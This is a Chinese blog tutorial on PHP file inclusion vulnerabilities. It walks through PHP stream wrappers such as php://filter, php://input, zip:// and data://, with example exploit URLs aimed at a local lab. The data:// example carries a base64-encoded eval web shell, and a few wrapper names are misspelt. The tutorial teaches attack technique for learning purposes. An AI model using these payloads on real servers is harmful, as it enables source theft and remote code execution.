文件包含漏洞.basis

前言

文件包含漏洞是指网站在展示或者运行一些页面的时候需要将一些文件包含进来运行,这种行为跟文件上传漏洞是一样的,都是一种正常的操作,但是对包含的文件没有做严格的过滤、检查就会导致包含一些非法的文件来运行;下面主要是关于通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入的文件包含漏洞。常见的文件包含函数:include()、require()、include_once()、require_once();include与require包含函数的区别在于报错处理方面,include只生成警告WARNINNG且脚本不会停止,而require会生成致命错误且脚本会停止

环境

1.服务器的php.ini配置需要满足的下列两个:

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据

  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

PHP伪协议

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器

file:// 
定义:用于访问本地文件系统
环境:allow_url_fopen :off/on、allow_url_include:off/on
格式:file://+[文件的绝对路径和文件名]
eg:
http://127.0.0.1/xss_location/include/web10.php?file=file://D:\phpstudy_pro\WWW\xss_location\include\web.txt
php:// 
定义:访问各个输入/输出流(I/O streams),经常使用的协议是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码;不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
(1)php://filter
作用:是一种元封装器, 设计用于数据流打开时的筛选过滤应用,它会读取源代码并进行base64编码输出,不然会直接当做php代码执行导致看不到源代码内容
环境:allow_url_fopen :off/on、allow_url_include:off/on
格式:php://filter/read=convert.base64-encode/resource=web1.php
eg:
http://127.0.0.1/xss_location/include/web10.php?file=php://filter/read=convert.base64-encode/resource=web2.php
参数:resource=<要过滤的数据流>、read=<读链的筛选列表>、write=<写链的筛选列表>、<;两个链的筛选列表>
(2)php://input
作用:可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行,当enctype="multipart/form-data" 的时候 php://input 是无效的
环境:allow_url_fopen :off/on、allow_url_include:on
格式:file=php://input+[POST DATA:<php? phpinfo(); ?>通过burp抓包手动写入]如果你的服务器的php版本高于5.2那么就无法生效(因为php5.2之后默认为Off)
实例:任意代码执行、文件内容绕过
zip://
作用:属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
环境:allow_url_fopen :off/on、allow_url_include:off/on
格式:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
eg:
http://172.16.70.244/xss_location/include/web10.php?file=zip://D:\phpstudy_pro\WWW\xss_location\include\web.zip%23web.txt
注:由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23
bzip2://
作用:属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
环境:allow_url_fopen :off/on、allow_url_include:off/on
格式:compress.bzip2://web.zip或者compress.zbzip2://web.jpg或者bzip2://D:\phpstudy_pro\WWW\xss_location\include\web.jpg
eg:
http://172.16.70.244/xss_location/include/web10.php?file=bzip2://D:\phpstudy_pro\WWW\xss_location\include\web.jpg
zlip://
作用:属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
环境:allow_url_fopen :off/on、allow_url_include:off/on
格式:compress.zlib://web.zip或者compress.zlib://web.jpg
eg:
http://172.16.70.244/xss_location/include/web10.php?file=zlib://D:\phpstudy_pro\WWW\xss_location\include\web.jpg
data://
作用:直接写入我们的自定义语句
环境:allow_url_fopen :on、allow_url_include:on
格式:data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ3hpeGknXSk7ID8+
eg:
http://172.16.70.244/xss_location/include/web10.php?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ3hpeGknXSk7ID8+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值